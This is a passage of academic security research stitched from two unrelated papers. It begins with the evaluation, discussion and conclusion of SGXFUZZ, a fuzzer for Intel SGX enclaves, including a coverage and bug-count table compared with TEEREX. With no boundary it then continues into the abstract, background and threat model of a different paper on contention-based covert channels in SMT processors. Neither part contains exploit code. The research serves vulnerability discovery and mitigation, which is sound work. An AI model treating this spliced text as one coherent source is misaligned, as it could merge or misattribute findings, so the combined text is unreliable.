becomes easier for the fuzzer to flip these branch conditions.

In conclusion, this ablation study shows that the features
of SGXFUZZ are able to tackle the blockers of the enclave
interface and yield in conjunction a consistently high coverage.

6.4.2 Pointer Location Havoc

We evaluate the pointer location havoc based on the number of
discovered vulnerabilities. In contrast to the aforementioned
structure recovery and size field features, it does not aim to
increase code coverage. Instead, it is a bug oracle to test if
enclaves accept attacker-controlled addresses within secure
memory (cf. Section 5.4).

The general insight is that most recent enclaves correctly use
the Intel SGX SDK’s wrapper to avoid these vulnerabilities.
Though, using this oracle, we found a total of 9 bugs related
to memory locations in 4 enclaves. These vulnerabilities are
caused by using [user_check] in the EDL files and then
insufficiently checking the pointers in the user code. In most
cases, this type of vulnerability could be easily fixed by using
the SGX SDK’s [in] and [out] flags that create secure
copies. However, these SDK features are only usable for flat
buffers and would not have been sufficient in the case of the
Gingytech Fingerprint Driver enclave, which had 3 of these
bugs. This enclave passes C++ objects that contain vtables and
pointers to other objects.

6.5 Scalability of SGXFUZZ vs. TEEREX

We compare SGXFUZZ in two key areas to TEEREX to eval-
uate the performance improvements offered by our approach.
First, we analyze the enclaves from Table 1 in TEEREX and
record the achieved code coverage and the number of results
that it generated. Second, we compare the number of reported
findings for both tools.

Coverage. The results in Table 3 show that, without exception,
SGXFUZZ achieves higher code coverage in every enclave.
The increase in code coverage can go as high as 29-times
or even 61-times the code coverage compares to TEEREX.
Regardless, the median factor of the coverage gain is 2.2.

This shows that SGXFUZZ achieves higher code coverage
in all cases. Assuming that our broad spectrum of enclaves
includes a wide spectrum of code complexities, this shows
that SGXFUZZ scales to a higher code coverage on varying
code path complexity.
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Number of Reports. Further, Table 3 shows the number of
reported bug candidates. TEEREX discovered candidates for
17 enclaves, however, 13 of these enclaves have more than 200
reports, which is a large number for a human analyst to analyze
manually. Moreover, 8 enclaves have over 1,000 reports,
which can hardly be fully analyzed by a human. SGXFUZZ,
in comparison, found bugs in 14 enclaves, of which only one
is above 200 reports. This enclave, the Gingytech Fingerprint
Driver is exceptionally insecure because it does not sanitize
the input and uses values from the fuzzing payload directly
as call and jmp addresses. In comparison, TEEREX reports
a total of 16,624 findings for the same enclave, about 70 times
as much. On average of all tested enclaves, TEEREX produces
more candidates than SGXFUZZ by a factor of 302, which
makes the number of reports from TEEREX hardly analyzable
by a human. In contrast, SGXFUZZ’ number of reports are
always within range of human capabilities.

Additionally, since SGXFUZZ does not produce false
positives, all reports are caused by real bugs (cf. Section 6.1).
Contrasting, TEEREX produces a large number of reports
that contain false positives due to limitations of symbolic
executions (cf. Section 3.2). This again increases the effort to
find actual bugs among reports. As evidenced by the drastically
reduced number of findings and increased number of validated
bugs, SGXFUZZ improves the scalability of human analysis.

6.6 Coverage

The coverage achieved by a fuzzer and the maximum achiev-
able coverage are crucial metrics. However, there are multiple
challenges that make it infeasible to determine the amount
of reachable code in an enclave, which we will elaborate on
in this section. Effectively, we lack ground truth for a fair
quantitative analysis.

There are different approaches to approximate the amount
of reachable code. First, we could assume that all code within
an enclave is reachable. The problem with this approach is that
all libraries are linked statically because dynamically linking
(system) libraries is not possible in SGX. This includes large
but varying amounts of dead code into the enclave binary.
For example, in sgxwallet, memcpy has a total of 1,117 basic
blocks, of which we covered 184. This version of memcpy uses
unrolled loops for specific alignments and selects different
instruction set extensions based on processor features to
enhance performance. Since our fuzzer naturally cannot cover
the branches for two different instruction sets on one platform,
this creates dead code that is not easily identifiable. In contrast,
to sgxwallet, MobileCoin uses another version of memcpywith
21 basic blocks and Signal Secure Value Recovery’s memcpy
only has a single basic block that uses rep movsb. A similar
problem effects other libraries. For example, in sgxwallet,
functions from the C++ standard library accumulate a total of
4,457 basic blocks, of which we covered 69. A static analysis

shows that at most 212 blocks may be reached through any
ECALL indicating significant amounts of dead code.

Second, we could exclude all libraries and favor the remain-
ing application code. On the one hand, identifying library
code is not an easy task by itself because library code is often
inlined and not clearly distinguishable in the binaries. On the
other hand, the primary logic of an enclave may be contained
within a library and therefore should not be excluded, like an
enclave that wraps an SSL or crypto library. Thus, in addition
to the trusted standard library and STL, there are other libraries
such as a Rust trusted standard library and mbedTLS that
contribute to the total number of unreachable code blocks with
an unknown amount. We have no means of determining how
much code of these libraries is actually used or essential in the
enclaves’ logic.

In addition, we cannot use solutions like gcov [75] to de-
termine code coverage in open-source scenarios. For similar
reasons, the measurements of gcov are unreliable because is
would exclude pre-compiled libraries and include dead source
code (e.g., code for specific CPU features or runtime config-
urations). In practical terms, including gcov in the compiler
setup for SGX requires a considerable amount of engineering
because it relies on the system’s standard library for file system
operations. However, enclaves have to exclude system libraries
and Intel’s trusted libc for SGX does not provide file system op-
erations. As such, gcov is not compatible with the trusted libc.

Considering the aforementioned reasons, we can only
count the total number of basic blocks in the enclave binary.
However, this number does not represent in any scenario the
reachable code. Hence, the coverage ratios should be taken
with care. Note that we do not implement new payload muta-
tors for SGXFUZZ, but contribute to the fundamental fuzzing
capabilities of SGX enclaves and ensure that existing greybox
fuzzing techniques can be applied. Hence, the mutation-
specific aspects and a detailed coverage analysis that evaluates
the underlying fuzzers, kAFL, RedQueen, and radamsa, are
presented in the respective papers [3, 39, 67]. The evaluation
of the fuzzing capability of SGX enclaves in Section 6.3 shows
that the input structure synthesis works as expected.

We include our achieved code coverage, as well as the total
amount of basic blocks in the enclave binaries in Table 3.

7 Discussion and Future Work

Analyzing OCALLs. In this work, we focus on the execution
of ECALLs which are the primary means and only entry point
of an enclave and thus, must enforce the security requirements
of the trusted execution environment. However, ECALLs
may exit early for an OCALL to be resumed later. Since our
prototype implementation SGXFUZZ does not resume after
OCALLs, this can lead to missed coverage. However, we
found that this limitation is tolerable, as we found only two
enclaves that we could not fuzz effectively due to a lack of
OCALL support and many enclaves use no OCALLs at all.
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Enclave
Total
#BBs

TEEREX
#BBs

TEEREX
Reports

SGXFUZZ
#BBs

SGXFUZZ
Reports

SGXFUZZ
Verified Bugs

SGXFUZZ #BB
TEEREX #BB

BiORAM-SGX 48865 788 1.6 % 2831 1802 3.7 % 0 0 2.29
ELAN Fingerprint Driver 33969 666 2.0 % 0 675 2.0 % 0 0 1.01
ELAN Fingerprint Biometric SSL 37739 1408 3.7 % 22037 2206 5.8 % 67 14 1.57
Gingytech Fingerprint Driver 47913 2275 4.7 % 16624 4080 8.5 % 236 16 1.79
Goodix Fingerprint Driver Coating Enclave 20800 942 4.5 % 884 1698 8.2 % 11 6 1.80
Goodix Fingerprint Driver Glass Enclave 32672 942 2.9 % 1328 1736 5.3 % 10 8 1.84
Goodix Fingerprint Driver WBDI Enclave 21169 655 3.1 % 1 1404 6.6 % 56 14 2.14
Intel AE Launch Enclave (LE) 13270 149 1.1 % 0 429 3.2 % 0 0 2.88
Intel AE Provisioning Cert. Enc. (PCE) 18438 208 1.1 % 0 490 2.7 % 0 0 2.36
Intel AE Provisioning Enclave (PVE) 32368 190 0.6 % 0 452 1.4 % 0 0 2.38
Intel AE Quoting Enclave (QE) 32012 180 0.6 % 0 407 1.3 % 0 0 2.26
Intel SDK Initialize ECALL – not supported 257 – 0 0 –
KubeTEE TFF 92595 429 0.5 % 903 3320 3.6 % 0 0 7.74
Ledger BOLOS 35100 431 1.2 % 412 1076 3.1 % 0 0 2.50
lockbox 62176 2387 3.8 % 7406 3689 5.9 % 42 2 1.55
MobileCoin 42203 669 1.6 % 0 11888 28.2 % 0 0 17.77
Occlum Runtime Libos 61575 433 0.7 % 247 977 1.6 % 0 0 2.26
OMEC Project’s C3P0 – Dealer 27478 220 0.8 % 1084 226 0.8 % 1 1 1.03
OMEC Project’s C3P0 – KMS 26169 483 1.8 % 93 1673 6.4 % 1 1 3.46
Plinius 17188 489 2.8 % 412 646 3.8 % 2 2 1.32
SGX Darknet 9944 300 3.0 % 491 527 5.3 % 4 3 1.76
sgxwallet 25528 3274 12.8 % 4303 3865 15.1 % 5 2 1.18
Signal Contact Discovery 2299 236 10.3 % 0 560 24.4 % 0 0 2.37
Signal Secure Value Recovery 36675 225 0.6 % 0 11989 32.7 % 0 0 53.28
STANlite 30688 2279 7.4 % 0 6621 21.6 % 5 4 2.91
Synaptics Fingerprint Driver Enclave 51878 114 0.2 % 0 1416 2.7 % 4 1 12.42
Tensorflow Lite 14631 244 1.7 % 0 492 3.4 % 0 0 2.02
Town Crier 41798 3755 9.0 % 6568 4748 11.4 % 14 1 1.26
TresorSGX 4859 283 5.8 % 1 622 12.8 % 0 0 2.20
WolfSSL 19167 345 1.8 % 2 714 3.7 % 0 0 2.07

Table 3: Result comparison of SGXFUZZ and TEEREX. The median factor of the coverage increase is 2.20 (mean: 4.88).

In addition to providing no advantages to most enclaves,
universal OCALL support for SGXFUZZ is not trivial and
effectively requires call chain support. While our runner is
capable of executing OCALLs, the return values of OCALLs
are under malicious control and the semantics are unknown
to the runner. Therefore, OCALL support is equivalent to
support a call chain consisting of the main ECALL followed
by multiple calls to the SDK’s special OCALL-return ECALL.
This requires the fuzzer to generate multiple dependent input
payloads for the ECALL and the following OCALLs. Further,
each OCALL requires its own custom input structure layout.
Since we have few examples of missing OCALLs being
problematic, we leave this topic as future work.

Dynamic ECALL Chains. Since enclaves are stateful,
calling ECALLs subsequently in a particular order can en-
hance coverage and reach more complex program states than
each ECALL individually. The most common pattern is an
Initialization ECALLs that must be called prior to any other
ECALL to set up the internal state. We solve this using a static
ECALL during the fuzzing setup (Section 5.4). However,
fully dynamic call chain support poses similar challenges as
OCALL support and requires the fuzzer to generate multiple
dependent input payloads and synthesize multiple layouts. On
top of that, dynamic call chains require sophisticated selection
of the calls to chain. For OCALLs the call chain is determined

by the originating ECALL and dependency is implicitly given.
ECALL-chains have no natural order, so a naive fuzzing
approach for chains is likely to waste time on chains of inde-
pendent ECALLs that can never produce additional coverage.

Fuzzing Other Enclave ABIs. During this work, we limit
our approach to SGX and the corresponding Intel SGX
SDK. However, there are other enclave ABIs such as Google
Asylo [35], Graphene [76], or the Fortanix Rust SDK [30].
SGXFUZZ is conceptually not tied to any enclave ABI and
fuzzing another ABI should be as simple as tweaking the
runner to set up a different enclave environment to conform
with another calling convention. The structure synthesis only
requires default memory accesses that emit SEGV signals.
Further, none of the SGX specific fuzzer extension discussed
in Section 5.4 is conceptually tied to SGX but rather to the
concept of enclaves in general. The pointer location havoc and
the corresponding bug oracle apply to any trusted execution
environment (TEE), where the enclave and the user-space
have dedicated regions in a shared address space.

8 Related Work

SGX and TEE vulnerabilities. Recent work on the security
of SGX exposed a series of side-channel attacks [12, 13, 41,
61, 70] that may leak secret data due to hardware flaws. While
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these attacks can be prevented globally using special compiler
options or using updated CPU generations, vulnerabilities
of individual enclaves need to be addressed by the vendor.
As such, an analysis of individual enclaves is still required
because these vulnerabilities cannot be prevented by updating
the SGX environment.

Fuzzing. Fuzzing [10, 11, 55] is a popular technique to assess
the security of software and hardware components [27, 59, 63]
and to find impactful vulnerabilities. There has been significant
interest to enable fuzzing for even more platforms and targets
to integrate automated security testing. Grammar-based input
fuzzers [6, 33, 49, 80, 83] infer invariants in well-structured
data types to produce impactful test cases for complex targets.
These fuzzers operate on linear input and cannot handle nested
pointers. Protocol fuzzers [5, 18, 24, 31] generate a sequence
of messages (or function calls) to emulate the interaction
between two parties. They analyze data dependencies of the
message in sequence to generate useful test messages that
iteratively alter the internal state of the target and uncover
vulnerabilities. These fuzzers tackle the challenges to detect
the types of message data, or to infer the internal state of
a remote target to guide the fuzzing process to uncovered
states. However, data is sent to a well-defined endpoint (e.g.,
network or syscall) so that pointer detection is not required.
Further, these fuzzers often rely on the generation of binary
data structures based on source code: Difuze [19] uses kernel
driver source files to generate data structure to fuzz these
drivers. syzkaller [37] uses a grammar made from Linux
header files to generate sequences of syscalls to uncover bugs
in the Linux kernel. SyzGen [15] improves on syzkaller and
automatically generates syscall specifications for macOS
drivers. Morphuzz [60] leverages the MMIO address mapping
in the hypervisor to generate sequences of I/O commands
for virtual device drivers. FuzzGen [46] analyzes the source
code of libraries and host applications to infer data structures.
In contrast, our approach can infer nested structure layouts
on-the-fly for closed-source binaries during the fuzzing run.

The HFL fuzzer [51] symbolically tracks the interactions
between kernel and user-space memory to recover data
structures. While there are similarities to SGX’ memory
model, the trusted world in SGX can access any host-memory
directly, contrary to the kernel which uses special access
functions, which HFL relies on. As such, adapting HFL’s
approach to SGX requires analyzing all pointer dereferences,
not only those in access functions. This requires more intensive
tracking and leads to the state explosion issues as discussed in
Section 3. Most importantly, none of the existing approaches
were suitable for fuzzing SGX as they require source code or
rely on assumptions that do not hold for the SGX environment.

Emulation and SGX. Emulated environments for SGX have
not yet been in the focus of research. PartEMU [38] is an em-
ulator for ARM TrustZone that enables fuzzing of TrustZone
enclave. On the other hand, there are various approaches to

emulate normal environments inside SGX enclaves [1, 7, 21,
71, 76]. Further, Intel has published KVM SGX [43] which
is used to pass-through real SGX hardware enclaves to a guest
system and cannot be used to emulate SGX and should not be
confused with our approach of SGX emulation.

9 Conclusion and Summary

In this paper we present SGXFUZZ, a novel approach to
synthesize binary input structures with nested pointers that
enables coverage-guided fuzzing of SGX enclaves without
prior knowledge of the ECALL’s semantics. To retrieve
coverage feedback from otherwise not introspectable enclaves,
we present enclave extraction methods and an enclave runner
for user-space execution of enclaves at native speed.

We evaluate our approach and show that our structure
synthesis offers a robust method to generate input layouts
on-the-fly during a fuzzing process. In addition, we show that
SGXFUZZ outperforms TEEREX in terms of covered code,
detected bugs, and human analysis effort.
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Abstract
This paper presents the first comprehensive analysis

of contention-based security vulnerabilities in a high-
performance simultaneous mulithreaded (SMT) processor.
It features a characterization of contention throughout the
shared pipeline, and potential resulting leakage channels for
each resource. Further, it presents a set of unified mitiga-
tion/isolation strategies that dramatically cut that leakage
while preserving most of the performance of a full, insecure
SMT implementation. These results lay the groundwork for
considering SMT execution, with its performance benefits, a
reasonable choice even for security-sensitive applications.

1 Introduction
The pursuit of secure computation has always featured a clear
tension between performance and security. Security mitiga-
tions often come with a high performance [1] impact that
can be manifested in serious environmental and economic
impacts [2] if they are employed, and in disastrous security
and privacy breaches [3–5] if they are not. In the context of
processor architectures, this security-performance tension is
only growing as new attacks appear, each exploiting a cru-
cial performance optimization in the processor, threatening to
unwind decades of architectural gains.

Microarchitectural attacks exploit different architectural
features. Speculative execution [6], shared caches [7], branch
prediction [8], execution units [9], and I/O throughput opti-
mizations [10] are examples of the features that are exploited
in both well-established attacks and more recent instances [6].
Turning off any of these features could be crippling to perfor-
mance, so we typically seek ways to continue to enable the
optimization but with higher levels of protection.

One performance optimization, however, is often switched
off in the name of security, at significant performance cost:
Simultaneous Multithreading (SMT) [11, 12]. SMT enables a
processor core to issue instructions from multiple threads to
the execution units in the same core in the same cycle. With
a small investment in hardware, the processor can greatly
increase the throughput/utilization of the pipeline, more effec-
tively hiding latencies and stalls of all types. The substantial
benefits of SMT have led to its widespread adoption by virtu-
ally all the major players in the high-performance processor
market, i.e., Intel, AMD, IBM, and ARM.

SMT achieves its high level of execution efficiency by dy-
namically allocating resources to threads as they are needed,
effectively utilizing resources not needed by one thread to
accelerate another. Virtually every part of the pipeline is po-
tentially shared and contended for in some way. This creates

a performance coupling between co-resident threads that is
an enormous challenge for security. Some have suggested
turning off SMT altogether [13]. Google, as a response to
MDS attacks, has disabled SMT by default on Chrome OS 74
and later [13]. OpenBSD takes a similar measure by disabling
SMT by default on version 6.4 and later [14]. Red Hat has
announced [15] kernels with updated controls allowing users
to choose whether to disable the feature or not.

Security researchers and architecture researchers are ac-
tively working to preserve many of the optimizations recently
under attack (speculative execution, caches, branch prediction,
store-load forwarding, etc.). This paper makes the case that it
is time to add SMT to the set of features we should preserve
even for secure execution. This research seeks to identify the
extent of the vulnerability of current SMT processors, and to
begin to navigate the middle ground – that is, how much of
SMT’s performance benefits can we retain while providing
vastly greater performance decoupling?

This paper seeks to provide an exhaustive evaluation of
resource contention across the entire pipeline for recent
offerings from both Intel and AMD. We find that those
two providers already take very different approaches to the
security/performance tradeoffs. Both, however, provide a
number of high-bandwidth channels of potential leakage,
including several never before identified. By focusing on the
bandwidth of covert channels utilizing the various resources,
we are able to perform a unified, systematic, and exhaustive
study of pipeline resource vulnerabilities.

In a similar way, we also seek to examine more secure
approaches to multithreading that can be applied in a more
holistic and comprehensive manner. We identify three
different approaches to partitioning that can be applied to
all contended resources with slight variation, and evaluate
their ability to restore the performance of a fully dynamically
shared SMT processor.

These approaches include full static partitioning (the ap-
proach applied already to several pipeline resources) and two
new approaches. Adaptive partitioning provides a temporary,
hard partition between threads for a particular resource, but
that partition can move at regular intervals to adapt to long-
term program behavior, preserving some of SMT’s ability
to adapt to changing execution needs with minimal leakage
between threads. Asymmetric SMT enables the system to
prevent leakage to an untrusted thread, but without sacrificing
the performance of the trusted thread. Our results show that
these secure multithreading approaches provide high isolation
between threads while retaining most of the performance of a
dynamically shared, insecure SMT implementation.
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2 Background and Related Work
This section provides background on modern x86 processor
architectures, SMT architectures, and microarchitectural side-
channels, with a focus on SMT-enabled attacks.

2.1 The x86 Pipeline Resources/Structures
Figure 1a shows a modern x86 processor’s frontend. The
frontend is responsible for fetching, decoding, and delivering
operations to the backend. In x86 processors, this is accom-
plished using one of the following three methods:

1) The legacy decode pipeline. Each cycle, the frontend
reads a 16-byte block from the instruction cache into the fetch
buffer, which then feeds into the predecoder that demarcates
individual variable-length x86 instructions (also called macro-
ops). These macro-ops are then inserted into a small buffer
(the macro-op queue). Instructions in this queue are then
distributed to one of the instruction decoders, which translate
each instruction into internal RISC (Reduced Instruction Set
Computing)-like micro-ops. Modern Intel processors feature
one complex decoder that is able to translate the instructions
into up to four micro-ops, plus simple decoders that can only
translate instructions that decompose into a single micro-op.
Any instruction that translates to more than four micro-ops
is handled via a Micro Sequencing ROM (MSROM). The
decoded micro-ops then get queued up in a small structure
called the micro-op queue – also called the instruction decode
queue – until they get issued into the backend.

2) The micro-op cache. Due to the complexity of the de-
coding process, the legacy decode pipeline can be a major
performance bottleneck. To alleviate this, most modern x86
processors cache decoded micro-ops in a special structure
called the micro-op cache or the decoded stream buffer. This
cache enables the frontend to bypass the slow and power-
hungry legacy decode pipeline whenever the translated micro-
ops of an address are already available in the micro-op cache.
Due to the streaming nature of the micro-op cache, the proces-
sors often impose special placement rules [16]. For example,
in Intel processors, the micro-ops of a 32-byte region of the
code can be placed in the micro-op cache only if the region
gets translated into less than 18 micro-ops.

3) The loop stream detector. Intel processors feature an-
other optimization called a loop stream detector (LSD). The
LSD further improves bandwidth and power consumption by
bypassing both the legacy decode pipeline and the micro-op
cache. The LSD identifies small loops within the micro-op
queue and then locks down the micro-ops in the queue. It then
delivers the micro-ops from the micro-op queue until an unex-
pected control flow (i.e., branch misprediction) occurs [16].

Figure 1b shows the main components of a modern x86 out-
of-order superscalar backend. First, the backend renames the
architectural registers of the issued micro-ops and allocates an
entry in the reorder buffer for each. They are then forwarded to
the scheduler, also called reservation stations or the instruction
queue, which is responsible for identifying micro-ops ready
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Figure 1: Simplified Architecture of a Modern X86 Processor.

for execution (i.e., whose operands are ready) and dispatching
them into available execution units. Intel groups the execution
units into execution ports, and the scheduler can dispatch as
many micro-ops per cycle as allowed by the superscalar width
of the processor, with the restriction that only one micro-op
is dispatched to a free port in any given cycle.

2.2 Simultaneous Multithreading
Simultaneous Multithreading (SMT) [11, 12] is an architec-
ture that allows for multiple hardware execution contexts in
a single out-of-order superscalar pipeline. In an SMT pro-
cessor, instructions from multiple threads can be dispatched
on any cycle. An SMT processor significantly improves the
pipeline utilization since it allows continued forward progress
if one thread experiences a temporary stall in the pipeline due
to long latency (e.g., a cache miss), or even several tightly-
dependent short latency operations. Its performance benefit
comes from its ability to dynamically assign resources to the
thread that needs them each cycle. But this level of sharing
provides heavy exposure of one thread’s performance to the
characteristics of the other.

Contention is possible in various ways throughout the en-
tire pipeline. Consider the Reservation Stations (RS). Ivy
Bridge has 54 entries available for instructions to wait for
their operands to become available before being eligible for
execution. The number of RS entries available to a thread
define the window over which the processor can look for out-
of-order parallelism, and significantly impacts performance.
This resource could be shared between threads in various
ways, with very different security implications. RS entries
could be duplicated, where each thread would have access to
exactly 27 entries (assuming two thread contexts). The RS
could be partitioned, where in SMT mode each thread has
access to 27, but when only a single context is running, it has
access to 54. In that case, the only effect one thread sees is
whether the other thread is running or not. It could be fully
shared (this was the general assumption in the original SMT
literature), where RS entries are allocated to whichever thread
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asks for them, with the fetch unit guiding instruction entry
so that neither thread would fill the structure and starve the
other [12, 17]. Full sharing typically, but not always, max-
imizes performance; however, a thread that put significant
pressure on the RS would have its performance constantly
vary according to the RS utilization of the other thread, and
completely saturating the RS could have a dramatic impact
on the other thread’s performance. An intermediate solution
is thresholding, where either thread is allowed to use up to,
say 44 entries, ensuring that at least 10 are always available
to the other thread even if it’s not currently using them. In
theory, thresholding can leak just as much information as full
sharing, but in practice it is much more difficult to success-
fully execute an attack because of the difficulty of keeping
resource utilization right near the edge of the threshold.

In Figure 1, we can see examples of shared structures (e.g.,
Instruction Cache), duplicated structures (Macro-op Queue),
and partitioned structures (Micro-op Queue).

2.3 Microarchitectural Covert/ Side Channels
The literature abounds with security attacks that leak in-
formation through a shared microarchitectural structure or
feature [6, 18–20]. Shared caches [21–26], branch predic-
tors [8, 27–30], store-to-load forwarding [31], Translation
Lookaside Buffers (TLB) [32, 33], I/O throughput optimiza-
tions [10,34,35], and the processor execution ports [9,36,37]
are a few examples that are exploited as a source of side-
channel leakage. Most of these attacks leak information
through a timing difference that is caused by contention
on a shared resource. The recent transient execution at-
tacks [6,38–41] also rely on a microarchitectural side-channel
to leak the information to the attacker’s domain. Previous
work also uses timing measurements to infer different proces-
sor’s features such as the size of the ROB [42].

Previous work [43, 44] has used information-theoretic and
mathematical approaches to study information leakage from
microarchitectural channels. For example, Hunger et al. [44]
develop an abstract mathematical model for microarchitec-
tural channels, with the end goal of devising an attack detec-
tion mechanism. Our characterization study, however, targets
a different goal. It aims to compare and contrast resource
sharing between threads in different implementations of SMT,
to then evaluate the inherent vulnerability of sharing of each
resource, and to guide the design of SMT security measures.

Previous work has also shown covert and side channels
constructed on GPU resources [45–47]. Naghibijouybari et
al. [46] exploit contention on GPU resources to infer victim’s
web browsing activities. Dutta et al. [45] target Intel’s inte-
grated GPU architectures and present covert channels that
put contention on the CPU-GPU bus as well as the shared
last-level cache. Similar to the CPU-based channels, these
channels also leak information through the timing variation
caused by resource contention. However, the list of possible
targets for a GPU channel is limited to co-locating kernels

from two different applications on a GPU. In contrast, CPU,
and in particular SMT-based channels can leak more fine-
grained information from a vastly larger set of targets, and
thus pose a more imminent threat.

2.4 SMT Covert and Side Channels
SMT, with the sheer amount of shared resources, potentially
greatly expands the microarchitectural attack surface, as
nearly every structure could be contended for at some level.
However, while SMT facilitates the exploitation of many side
channels, not all of these channels are fundamentally tied to
SMT. Cache side-channels [22,48,49], which include the vast
majority of these attacks, for example, are almost as effective
in a cross-core setting [50]. Some of the SMT-specific attacks
are the result of a design bug [39], not an inherent SMT issue,
which can be mitigated without much performance cost in
future generations. Nevertheless, the core principles of SMT
have already been targeted in some of these side-channel
attacks.

The SMT execution port timing channels have a long his-
tory [37, 51]. But more recently, PortSmash [9] exploits, in
an end-to-end attack, the timing variation caused by the con-
tention of the SMT threads on specific execution ports to leak
the private key of a TLS server. SmotherSpectre [36] also
exploits the contention on the execution ports but combines
it with speculative execution to mount a transient execution
attack. SmotherSpectre uses speculation to steer the execu-
tion to a gadget that includes a data-dependent branch that
accesses a specific port based on the value of a secret.

Other attacks target other shared resources in SMT proces-
sors. TLBleed [32] exploits shared TLBs in SMT processors
to leak a victim’s memory activity. CacheBleed [23] uses con-
tention of the sibling SMT threads on the cache banks as the
source of the leakage to break a constant-time RSA implemen-
tation. Similarly, MemJam [52] targets the shared memory-
dependency detection unit to leak information about memory
accesses of a victim. Ren, et al. [53] develop multiple attacks
exploiting the micro-op cache of Intel and AMD processors to
leak information across different security domains, including
colocated SMT threads. Shared branch predictors are also
extensively exploited to leak secret information [8,54,55] and
also to steer speculation to attacker-desired addresses [6].

There are also efforts to automatically construct covert
channels in SMT processors. Covert Shotgun [56] proposes
an automated framework to examine possible pairs of instruc-
tions in an ISA for building covert channels. Covert Shotgun
compares the execution time of the instructions in single-
threaded and SMT mode to detect if there is a possible covert
channel. More recently, ABSynthe [57] conducts a similar
study that expands Covert Shotgun to include all instructions
in x86 and ARM ISAs and compares the results for a va-
riety of architectures. While these approaches can discover
covert channels in an SMT processor, the exact source of the
leakage for the discovered covert channels remains unknown.
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This work, in contrast, characterizes different covert channels
based on the actual source of leakage.

2.5 Side-Channel Mitigation
The research community is increasingly active on coun-
termeasures for microarchitectural side-channels. Similar
to the microachitectural attacks, the defense research also
leans heavily toward mitigations for cache-based side chan-
nels [58–63]. A diverse set of strategies has been proposed
to mitigate side channels. Partitioning [60, 64–67], random-
ization [65, 68–70], detection [67, 71–73], oblivious execu-
tion [74], and encryption [75] are among frequently suggested
high-level approaches. Many of the more recent defenses fo-
cus on a mitigation in the context of speculative execution
vulnerabilities [76–82].

However, much less attention is given to defenses for non-
cache microarchitectural side channels. SMT-COP [83] intro-
duces a temporal and spatial partitioning scheme for execution
ports in SMT. SMT-COP also introduces a selective approach
where it selectively enables and disables functional unit parti-
tioning for some regions of the code. Unlike this work, SMT-
COP’s partitioning, once enabled, is entirely static, failing
to take advantage of the benefits of an SMT architecture.
Moreover, our study is not limited to execution ports, and
we examine mitigations on a comprehensive set of pipeline
resources.

Hyperspace [84] secures SGX execution against SMT chan-
nels by creating a trusted shadow SGX thread that runs on the
same physical core as the main thread. Hyperspace verifies
the co-location of the main and the shadow threads using a
cache covert channel. The sole purpose of the shadow thread
is to prevent any untrusted thread being scheduled on the
same core as the main thread. Therefore, in terms of resource
utilization this approach is similar to, and in some cases worse
than, turning off SMT.

Xu et al. [67] propose a mitigation strategy for GPU-based
covert channels. It relies on a decision tree classifier to de-
tect a potential attack, and then enables temporal and spatial
partitioning of GPU resources to mitigate the contention.

3 Assumptions and Threat Model
The main focus of this work is on covert channels constructed
by contention on the main pipeline structures between the
co-located threads on an SMT processor. These channels are
the dominant form of leakage introduced by simultaneous
multithreading, and until mitigated, will likely dominate other
channels. We principally study covert channels, because the
goal of this work is to provide, among other things, a com-
prehensive and systematic analysis of the vulnerability of
existing SMT processors. Such an approach would not be
possible if we were to try to analyze all specific side-channel
attacks customized to each feature, and would become out of
date quickly as new attacks are devised. By concentrating on
covert channels, we can evaluate the inherent vulnerability

Table 1: Sharing Mechanism of Pipeline Resources
Intel (Skylake) AMD (Zen2)

Resource Sharing BW (bps) Sharing BW (bps)

Fr
on

t-
E

nd

L1 iCache S 742K S 1.27M
Branch Target Buffer S 796K S 478K
Micro-Op Cache P <24K S 604K
Fetch Bandwidth S 1.64M S 833K
Decode/Issue Bandwidth S 1.15M S 1.03M
iTLB P <24K S 820K
Micro Sequencing ROM M – S 353K
Loop Stream Detector P <24K – –

B
ac

k-
E

nd Reservation Station T – S 56K
Reorder Buffer P <24K P –
Physical Register File P <24K S 40K
Execution Port S 1.22M S 715K

M
em

or
y

dTLB S 982K S 964K
L1 dCache S 1.13M S 902K
L1 dCache Read Bandwidth S 1.36M S 1.64M
Load Queue P <24K S 36K
Store Queue P <24K P –

S:Shared, P:Partitioned, T:Thresholded, M: Time Multiplexed
<:Limited by the maximum switching frequency between single-threaded and SMT modes

of each feature and have some basis for comparing them and
understanding where the greatest vulnerabilities lie.

Furthermore, by closing these covert channels we also close
any potential side channel that exploits them, including those
used in speculative execution attacks. To be successful, most
speculative attacks need to effectively perform two tasks: (1)
steer the execution to attacker-desired locations, and (2) leak
information to the attacker domain using a covert channel. To
stop such attacks, it is sufficient to prevent the latter, which
we aim to do by denying unauthorized information leakage –
speculative or otherwise – between SMT threads.

We, then, propose mitigations against the covert channels
with the following assumptions. We assume an SMT proces-
sor on which two threads, T1 and T2, can share the pipeline.
We assume T1 and T2 are running on separate processes and
are prohibited from any form of direct communication, but
they can run any non-privileged instruction on the SMT core.
Any of the threads are allowed to make artificial contention on
any of the shared pipeline resources to leak information about
the usage of the other thread. We consider multiple scenarios:

• T1 and T2 are mutually untrusted: in such scenarios, any
information flow from T1 to T2 and from T2 to T1 should
not be allowed.

• The trust is asymmetric, i.e., T1 is untrusted, and T2 is
trusted: in such scenarios, the information flow from T1 to
T2 is allowed, while the information flow from T2 to T1
should be blocked.

• The threads are mutually trusted: any covert communication
between T1 and T2 is allowed.

The main focus of this work is on closing timing chan-
nels engendered by resource contention between SMT
threads. Therefore, this work does not consider power, volt-
age/frequency, and thermal channels.
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4 Covert Channel Characterization
The goal of this paper is to make SMT processors more secure
against contention-based side-channel attacks. To that end, we
first conduct a rigorous analysis on current SMT processors to
assess the degree to which they share each pipeline resource
between threads, and to also measure the potential informa-
tion leakage resulting from sharing each of these pipeline re-
sources. This analysis then guides the design of SMT security
measures (Section 5). This study also leads to the discovery
of multiple previously unreported and high-bandwidth covert
channels.

4.1 Overview
The first step in our analysis is to deconstruct how the pro-
cessor manages resource sharing between the SMT threads.
We go through an exhaustive list of pipeline resources and
reverse-engineer the sharing mechanism that the processor
uses for each of the pipeline resources. We broadly categorize
each pipeline resource into statically partitioned, dynamically
shared, and duplicated resources based on our experimen-
tal analysis. We note that partitioned resources can either by
spatially shared (half assigned to each thread in SMT mode)
or time-multiplexed (one thread uses all resources one cycle,
the other thread the next). We consider thresholding, where
the partition is dynamic, but neither thread can completely
exhaust the resource, as a special case of dynamically shared.

To reverse engineer the sharing mechanism of a pipeline
resource, we craft a set of assembly instructions that create
artificial contention on that resource. This set of assembly
instructions needs to have four features: (1) it should saturate
the structure-under-test, (2) the amount of saturation should
be controllable, (3) it must not create high contention on any
other pipeline resources/structures, and (4) it should put the
contention on the critical path, so the effect of the contention
is exposed via performance. Then we run this test code simul-
